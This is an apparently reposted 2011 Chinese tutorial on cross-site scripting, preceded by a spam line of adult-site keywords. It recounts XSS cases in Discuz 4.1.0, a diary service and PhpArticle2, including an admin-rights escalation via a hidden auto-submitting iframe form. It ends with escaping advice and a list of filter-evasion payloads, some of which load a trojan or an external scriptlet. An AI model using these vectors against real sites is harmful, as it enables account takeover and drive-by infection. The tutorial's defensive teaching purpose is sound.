午夜视频在线网站,日韩视频精品在线,中文字幕精品一区二区三区在线,在线播放精品,1024你懂我懂的旧版人,欧美日韩一级黄色片,一区二区三区在线观看视频

分享

跨站腳本攻擊

 woshishenxiande 2011-05-13

跨站腳本攻擊-----為什么要過(guò)濾危險(xiǎn)字符串

不算前言的前言
好像已經(jīng)很久沒(méi)有寫(xiě)過(guò)安全方面的文章了,所謂安全圈子里面,大家也許認(rèn)為玄貓消失了,不過(guò),我想,作為駭客的玄貓也許從來(lái)沒(méi)有出現(xiàn)過(guò)吧。沒(méi)錯(cuò)的,我是玄貓,如果前兩年你看過(guò)《黑客X檔案》或者《黑客手冊(cè)》這樣的民間安全雜志,那么你也許見(jiàn)過(guò)這個(gè)名字。
或者,很抱歉的,你的站點(diǎn)有時(shí)會(huì)出現(xiàn)過(guò)“玄貓啊玄貓……”這樣的提示框或者文字,那么我很遺憾,我寫(xiě)的漏洞利用工具被人濫用到你的網(wǎng)站上了,藍(lán)色理想里的程序員、站長(zhǎng)想必不少,我在這里也向你道個(gè)歉。

什么是跨站腳本攻擊
OK,我們就進(jìn)入正文吧。按照慣例,我先給出“跨站腳本攻擊”的“官方定義”。
跨站攻擊,即Cross Site Script Execution(通常簡(jiǎn)寫(xiě)為XSS)是指攻擊者利用網(wǎng)站程序?qū)τ脩?hù)輸入過(guò)濾不足,輸入可以顯示在頁(yè)面上對(duì)其他用戶(hù)造成影響的HTML代碼,從而盜取用 戶(hù)資料、利用用戶(hù)身份進(jìn)行某種動(dòng)作或者對(duì)訪(fǎng)問(wèn)者進(jìn)行病毒侵害的一種攻擊方式。
在這個(gè)定義里面提到了三個(gè)要點(diǎn):
第一、       What-為什么會(huì)產(chǎn)生跨站腳本攻擊。
跨站腳本攻擊的產(chǎn)生是因?yàn)槌绦騿T在寫(xiě)程序時(shí)候的考慮不周,當(dāng)然,也可能是根本沒(méi)有考慮。安全方面有一句著名的話(huà)叫做,“永遠(yuǎn)也不要相信用戶(hù)的輸入”。看到 這里,作為普通用戶(hù)的你,先別急著鄙視我對(duì)你的不信任,作為可用性專(zhuān)家的你,也別急著罵我不重視用戶(hù),作為程序員的你,要去用涼水洗把臉,精神一下了。
你在以前寫(xiě)程序時(shí),有沒(méi)有考慮,用戶(hù)所輸入的內(nèi)容顯示在網(wǎng)站上時(shí),會(huì)不會(huì)有什么問(wèn)題呢。
什么問(wèn)題?先拋開(kāi)我這里的主題跨站腳本攻擊而言,你有沒(méi)有發(fā)現(xiàn),有時(shí)用戶(hù)輸入的內(nèi)容,導(dǎo)致了你的頁(yè)面變形?這時(shí)你除了說(shuō),Oh,這個(gè)用戶(hù)真麻煩之外,是否還考慮,為什么會(huì)變形呢。
我們舉個(gè)實(shí)例來(lái)說(shuō),你寫(xiě)了一個(gè)頁(yè)面,用來(lái)顯示用戶(hù)輸入的文章,這里顯示用戶(hù)部分的地方是這樣的:
<div id="content"><%=sArticleContent'這里我們假設(shè)這個(gè)變量是從數(shù)據(jù)庫(kù)里面取出的用戶(hù)輸入的文章內(nèi)容%></div>
如果用戶(hù)輸入的都是像我這篇文章一樣的普通文字,那么自然是沒(méi)有問(wèn)題,啊,可是如果出現(xiàn)一個(gè)二把刀的用戶(hù),他一定想寫(xiě)一些html代碼來(lái)裝飾他的文章,而 恰恰他只寫(xiě)了<h1>,忘記了后面的閉合標(biāo)簽,那么會(huì)出現(xiàn)什么……哈哈,你的頁(yè)面的后面部分全部被<h1>了,字體大的沒(méi)法看。 之前你精心設(shè)計(jì)的頁(yè)面全部亂成了一鍋粥。
在這個(gè)實(shí)例里面,用戶(hù)輸入的只是普通的html字符,那么,他如果輸入javascript字符呢,恩,如果我是一個(gè)壞壞的喜歡搞惡作劇的用戶(hù),我也許會(huì) 輸入:<script>while(1==1){alert('這個(gè)站長(zhǎng)是個(gè)笨蛋');}</script>。那么會(huì)發(fā)生什么? 對(duì)!在這個(gè)頁(yè)面被訪(fǎng)問(wèn)的時(shí)候,你無(wú)辜的訪(fǎng)問(wèn)者會(huì)發(fā)現(xiàn),無(wú)論他怎么按“確定”,那個(gè)頑固的提示框都會(huì)喋喋不休。
簡(jiǎn)單來(lái)說(shuō),這就是一次跨站腳本攻擊了。
在這次攻擊里面,我,這個(gè)壞壞的喜歡惡作劇的用戶(hù),利用你,這個(gè)永遠(yuǎn)相信用戶(hù)輸入的程序員忘記過(guò)濾我所輸入的可能對(duì)其他訪(fǎng)問(wèn)者造成危害的代碼內(nèi)容這個(gè)缺陷,成功的進(jìn)行了一次惡作劇—跨站腳本攻擊。
第二、       Who-誰(shuí)可以利用跨站腳本攻擊。
關(guān)于“who”這個(gè)問(wèn)題,我想在上面的內(nèi)容里,你大致了解了,這里我再?lài)Z叨一下,不僅僅是喜歡惡作劇的用戶(hù)可以用,甚至有時(shí)普通的用戶(hù),輸入時(shí)不小心的也會(huì)導(dǎo)致你頁(yè)面出現(xiàn)一些未期料的問(wèn)題。
當(dāng)然,我們最不希望的就是,有駭客利用這個(gè)漏洞了,至于他能夠利用到什么程度,還請(qǐng)你往下面拉一點(diǎn),看“跨站腳本攻擊有什么危害”。
第三、       How much-跨站腳本攻擊有什么危害。
所謂安全圈子里的某些“黑客”往往對(duì)跨站漏洞嗤之以鼻,認(rèn)為那不過(guò)是在客戶(hù)那里玩玩就算了,作為被稱(chēng)之為跨站王的某魚(yú)同學(xué)(現(xiàn)在已然是Discuz公司的系統(tǒng)安全工程師了)的徒弟我來(lái)說(shuō),我認(rèn)為這是非常幼稚的一種看法。
說(shuō)小了,跨站攻擊可以簡(jiǎn)單的就使你的頁(yè)面布局混亂不堪,而更嚴(yán)重的是,既然駭客可以寫(xiě)入html代碼,那他簡(jiǎn)直可以干你想到的或者你想不到的任何事情了。 譬如……<iframe src="網(wǎng)頁(yè)木馬地址" width="0" height="0"></iframe>就可以非常容易的在你的網(wǎng)站上插入指向一個(gè)網(wǎng)頁(yè)木馬的隱藏的框架了(通常被稱(chēng)之為“掛 馬”)。
作為網(wǎng)站管理員的你,如果簡(jiǎn)單的認(rèn)為,跨站漏洞只可以對(duì)訪(fǎng)問(wèn)者造成侵害的話(huà),那就錯(cuò)了。別忘記,在訪(fǎng)問(wèn)帶有受到跨站攻擊的網(wǎng)頁(yè)時(shí),你的身份也是普通用戶(hù), 一方面,如果你中了他放的木馬,那么從你機(jī)子上就可以輕易的下載到ftp軟件中的密碼信息,另一方面,如果這個(gè)時(shí)候你已經(jīng)登錄了管理,那么他是不是可以構(gòu) 造一個(gè)管理頁(yè)面,并且以你的身份,讓你不知不覺(jué)的操作呢,這是完全可能的,并且是經(jīng)常出現(xiàn)的。
構(gòu)建跨站腳本攻擊
哈哈,如果你是一個(gè)壞壞的用戶(hù),那么看到這里你一定很開(kāi)心了,你認(rèn)為自己將學(xué)會(huì)如何做一名駭客,不過(guò)我只能很遺憾的告訴你,想都不要想,呵呵,重復(fù)我經(jīng)常 說(shuō)的一句話(huà),以下內(nèi)容禁止心智不成熟的未成年人觀看,其中涉及的內(nèi)容僅作為教學(xué)和研究使用,嚴(yán)禁利用這里所講授的知識(shí)進(jìn)行不法侵害行為。
在這里我拿出以前做的幾個(gè)案例筆記(全文大多數(shù)都發(fā)表在了《黑客X檔案》中),在案例中進(jìn)行分析說(shuō)明,大家不要小看這些案例,這些案例中大多數(shù)都是網(wǎng)上有大量網(wǎng)站使用的知名程序,可想而知危險(xiǎn)之大。
案例一:Discuz4.1.0論壇出現(xiàn)的WAP跨站漏洞
Discuz論壇允許使用手機(jī)訪(fǎng)問(wèn)論壇wap目錄來(lái)訪(fǎng)問(wèn)論壇,用wap方式訪(fǎng)問(wèn)論壇時(shí)可以查看帖子和發(fā)送帖子、短消息等,但是其服務(wù)器端的處理過(guò)程并沒(méi)有過(guò)濾wap方式發(fā)帖的標(biāo)題,使得我們可以輸入特殊構(gòu)造的字符而引發(fā)跨站攻擊。
作為程序員的你認(rèn)為用戶(hù)在使用手機(jī)WAP方式訪(fǎng)問(wèn)論壇時(shí)候就不可能寫(xiě)入惡意代碼從而不能攻擊而不對(duì)WAP部分進(jìn)行處理嗎?那你就錯(cuò)了,實(shí)際上,有很多軟件 可以模擬訪(fǎng)問(wèn)WAP,Opera就可以,在PC上使用某些特定的客戶(hù)端軟件(WinWAP、Opera)等,訪(fǎng)問(wèn)WAP網(wǎng)站,即可以輸入跨站字符,這里可 以在標(biāo)題中輸入<script>alert('XSS')</script>,當(dāng)PC用戶(hù)訪(fǎng)問(wèn)論壇時(shí),就會(huì)觸發(fā)這些代碼。
從這個(gè)案例中,你應(yīng)當(dāng)學(xué)到,不要認(rèn)為客戶(hù)端的限制就可以疏忽對(duì)用戶(hù)輸入的檢測(cè)和過(guò)濾了,只要可以通過(guò)HTTP協(xié)議訪(fǎng)問(wèn),那么無(wú)論客戶(hù)端是什么,有什么限制,都是不安全的。
案例二:“飛騁”網(wǎng)站日記跨站漏洞。
首先來(lái)看飛騁日記服務(wù),一般來(lái)說(shuō)對(duì)于像日記這種一個(gè)人寫(xiě),N多人看的東東,我們要考慮的就是XSS跨站漏洞了。在下面的內(nèi)容中,我們?cè)囍么? 碼<script>alert(“玄貓啊玄貓,玄貓要高考咯”)</script>來(lái)測(cè)試能不能在頁(yè)面上運(yùn)行我們的 Javascript腳本。
我們打開(kāi)一個(gè)寫(xiě)日記的頁(yè)面,先測(cè)試內(nèi)容能不能寫(xiě)跨站腳本,日記標(biāo)題隨便寫(xiě),內(nèi)容寫(xiě)個(gè)<script>alert(“玄貓啊玄貓,玄貓要高考 咯”)</script>,然后去看看,不難看到,我們寫(xiě)的script被替換成了s cript,(圖一)中間多了個(gè)空格,再來(lái)改變大小寫(xiě)試試,內(nèi)容寫(xiě)<Script>alert(“玄貓啊玄貓,玄貓要高考 咯”)</script>,還是不行,看來(lái)要想個(gè)變通的方法了,我們找找還有哪些是可以輸出的,對(duì)了,標(biāo)題,可是有的朋友會(huì)有疑問(wèn),標(biāo)題就讓 寫(xiě)10個(gè)字,不夠啊,我們?cè)賮?lái)把文件保存到本地,研究form的驗(yàn)證:232行有個(gè)<FORM id=frmAnnounce name=frmAnnounce onsubmit="return checkform();"的代碼,不難看出,這個(gè)onsubmit觸發(fā)的函數(shù)就是檢查標(biāo)題字?jǐn)?shù)的代碼,我們刪掉onsubmit="return checkform();",然后把a(bǔ)ction補(bǔ)全,標(biāo)題內(nèi)填入<script>alert(“玄貓啊玄貓,玄貓要高考 咯”)</script>,內(nèi)容隨便寫(xiě)些東西,提交,在隨后刷新出的頁(yè)面里,優(yōu)雅得彈出了我們的對(duì)話(huà)框,跨站成功。

在這個(gè)案例中,首先進(jìn)行了最簡(jiǎn)單的測(cè)試內(nèi)容的輸入,即彈出一個(gè)對(duì)話(huà)框,而此時(shí)發(fā)現(xiàn)網(wǎng)站代碼對(duì)script進(jìn)行了過(guò)濾,這時(shí)再次嘗試Script,如果程序 員僅簡(jiǎn)單的過(guò)濾了script時(shí),則Script可能是可用的,但是最終發(fā)現(xiàn)還是不行,那么則轉(zhuǎn)到標(biāo)題處,顯然標(biāo)題處通過(guò)maxlength這個(gè)屬性限制 了文本框所能輸入的最長(zhǎng)字節(jié)數(shù),并且使用js腳本來(lái)檢測(cè)了用戶(hù)的輸入,這些當(dāng)然都不成為問(wèn)題,我們只要將頁(yè)面保存到本地,就可以修改了,刪除 maxlength屬性和驗(yàn)證的js代碼后,再提交即可。
從這個(gè)案例中你應(yīng)當(dāng)學(xué)到:
1、       過(guò)濾危險(xiǎn)字符時(shí)候考慮字符是否可以以大寫(xiě)變換的方式繞過(guò)驗(yàn)證
2、       Js腳本檢測(cè)用戶(hù)輸入合法性是無(wú)效的。
3、       用戶(hù)可能直接向服務(wù)器提交數(shù)據(jù),并且這里我告訴你,所謂防止外部提交的代碼是絕對(duì)無(wú)效的,那個(gè)方法是通過(guò)檢測(cè)HTTP_REFFER的HTTP頭來(lái)實(shí)現(xiàn)的,而其實(shí)這個(gè)HTTP頭也是可以偽造的。
案例三:PhpArticle2密碼輸入錯(cuò)誤記錄跨站漏洞PhpArticle是一款基于php+mysql的整站文 章系統(tǒng),頁(yè)面清爽、速度快,并且功能比較完善,尤其是后臺(tái)有個(gè)記錄別人嘗試登陸時(shí)輸入的錯(cuò)誤密碼的功能……比較實(shí)用……還可以偷窺別人都習(xí)慣用什么密碼 (一般人嘗試密碼的時(shí)候總是按照自己的習(xí)慣來(lái)嘗試別人的密碼),但是我突然想到,如果我們嘗試在錯(cuò)誤的用戶(hù)名或者密碼中輸入特殊字符呢……
進(jìn)入后臺(tái)登陸頁(yè)面,然后用戶(hù)名和密碼分別寫(xiě)我們構(gòu)造的用于測(cè)試的跨站代碼。
“用戶(hù)名”中填寫(xiě):
<script>alert("XSS")</script>
“密碼”中填寫(xiě):
<script>alert("XSS")</script>
然后我們用管理員的密碼去登陸后臺(tái),查看“管理日志->非法登陸記錄”,這時(shí)彈出了第一個(gè)對(duì)話(huà)框,點(diǎn)擊“確定”后又出現(xiàn)了第二個(gè)對(duì)話(huà)框,看來(lái)這兩個(gè)地方是存在跨站漏洞的。
好的,既然確定了有跨站漏洞,我們來(lái)思考下應(yīng)該怎么利用比較能達(dá)到收益最大化……這里要來(lái)一個(gè)提升網(wǎng)站用戶(hù)權(quán)限的利用。
這里有必要先給不熟悉PhpArticle的朋友介紹下,在后臺(tái)改管理員密碼的地方是要求填寫(xiě)當(dāng)前密碼的,所以我們是無(wú)法利用的,其他操作我也暫時(shí)沒(méi)有想出好的利用方法,現(xiàn)在我們要做的就是把我們自己注冊(cè)的用戶(hù)添加到系統(tǒng)的管理員組中,達(dá)到提升權(quán)限的目的。
當(dāng)我們可以在頁(yè)面插入任意代碼的時(shí)候,我們其實(shí)有許多選擇,譬如插入javascript腳本內(nèi)容,當(dāng)限制提交字符數(shù)的時(shí)候我們可以插入 javascript腳本文件(<script src=""></script>這樣),還可以插入iframe在頁(yè)面中隱藏一個(gè)任意網(wǎng)頁(yè)(駭客用來(lái)掛馬),這里我們的思路是利用管 理員登陸的身份來(lái)提升權(quán)限,所以我們就模仿程序的用戶(hù)管理頁(yè)面,來(lái)仿造一個(gè)頁(yè)面,并使用iframe的方法插入這里。
好了,先來(lái)看如何構(gòu)造表單。
在構(gòu)造表單之前我們要確定下這個(gè)表單是否允許外部提交,我們以管理員身份登陸后,打開(kāi)會(huì)員編輯這個(gè)頁(yè)面:http://www./admin/user.php?action=mod&userid=38,然后將其另存到本地,然后修改form控件的action屬性,打開(kāi)后提交,程序提示修改成功,看來(lái)是允許外部提交的(其實(shí)也可以直接看代碼的……嘿嘿,我不是懶嘛)。
因?yàn)橄覲A的頁(yè)面太不符合WEB標(biāo)準(zhǔn),做自動(dòng)提交的時(shí)候總是出現(xiàn)javascript錯(cuò)誤,我們來(lái)自己構(gòu)造一個(gè)表單,通過(guò)查看源代碼,我們可以構(gòu)造一個(gè)只 有幾個(gè)必填字段的表單,然后在body標(biāo)簽后加屬性onLoad,值為javascript:document.forms[0].submit(),即 當(dāng)頁(yè)面載入時(shí)自動(dòng)提交表單。
這里我們還有一個(gè)要注意的地方,就是自己的userid,在構(gòu)造表單的時(shí)候我們要用到這個(gè)值,怎么獲得userid呢,我們需要登陸后在cookies里找pauserid的值。
在這個(gè)案例中,我們?cè)跇?gòu)造跨站利用時(shí)候采取了一種十分“惡毒”的手段,就是插入一個(gè)iframe指向我們自己的網(wǎng)頁(yè),在這個(gè)網(wǎng)頁(yè)中,我們完整的復(fù)制了原始代碼中的表單部分,并將某些內(nèi)容修改為我們需要進(jìn)行的操作,最后再讓這個(gè)表單自動(dòng)提交。
如何防止跨站腳本攻擊
我想通過(guò)上面的內(nèi)容,你已經(jīng)深切的領(lǐng)會(huì)到了,跨站腳本攻擊的危害是非常大的,那么,如何防止這個(gè)漏洞呢。
最簡(jiǎn)單的辦法,就是將用戶(hù)輸入的內(nèi)容進(jìn)行HTML轉(zhuǎn)義,這樣你不必考慮用戶(hù)輸入什么內(nèi)容,內(nèi)容中有哪些危險(xiǎn)的字符需要過(guò)濾,例如在ASP中,我們可以使用Server.HtmlEnCode()來(lái)轉(zhuǎn)義,php中可以使用htmlspecialchars()這個(gè)函數(shù)。
但是,這種方法并不能稱(chēng)為最優(yōu)解,這其實(shí)是一種消極的方法,因?yàn)橛脩?hù)輸入的內(nèi)容可能有危險(xiǎn),那么就將其全部轉(zhuǎn)義。而比較好的方法就是通過(guò)正則表達(dá)式來(lái)進(jìn)行 替換,當(dāng)然,UBB代碼也是起到這個(gè)作用的,程序員將HTML代碼禁用,取而代之以約定的少量UBB來(lái)代替HTML,從而起到好的效果。
這里由于篇幅原因,我就不詳細(xì)列出各UBB函數(shù)的詳細(xì)內(nèi)容了,這里我列出一些常見(jiàn)的和很少人了解的跨站方法,供你參考是否已經(jīng)對(duì)這些方式進(jìn)行了過(guò)濾。
復(fù)制內(nèi)容到剪貼板
代碼:
<IMG SRC="javascript:alert('XSS');">
<IMG SRC='vbscript:msgbox("XSS")'>
<IMG SRC=javascript:alert("XSS")>(采用HTML實(shí)體)
<IMG SRC=javascript:alert('XSS')>(使用utf8字符集)
<IMG SRC=javascript:alert('XSS')>
<IMG SRC="jav ascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="width: (alert('XSS'));">(注意,使用是十分靈活的,例如,如果你過(guò)濾了 ,他還可以使用exp/**/resssion,你過(guò)濾了/**/,他還可以使用exp/*sometext*/ression)
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<OBJECT TYPE="text/x-scriptlet" DATA="http://ha./scriptlet.html"></OBJECT>

    本站是提供個(gè)人知識(shí)管理的網(wǎng)絡(luò)存儲(chǔ)空間,所有內(nèi)容均由用戶(hù)發(fā)布,不代表本站觀點(diǎn)。請(qǐng)注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購(gòu)買(mǎi)等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)點(diǎn)擊一鍵舉報(bào)。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評(píng)論

    發(fā)表

    請(qǐng)遵守用戶(hù) 評(píng)論公約

    類(lèi)似文章 更多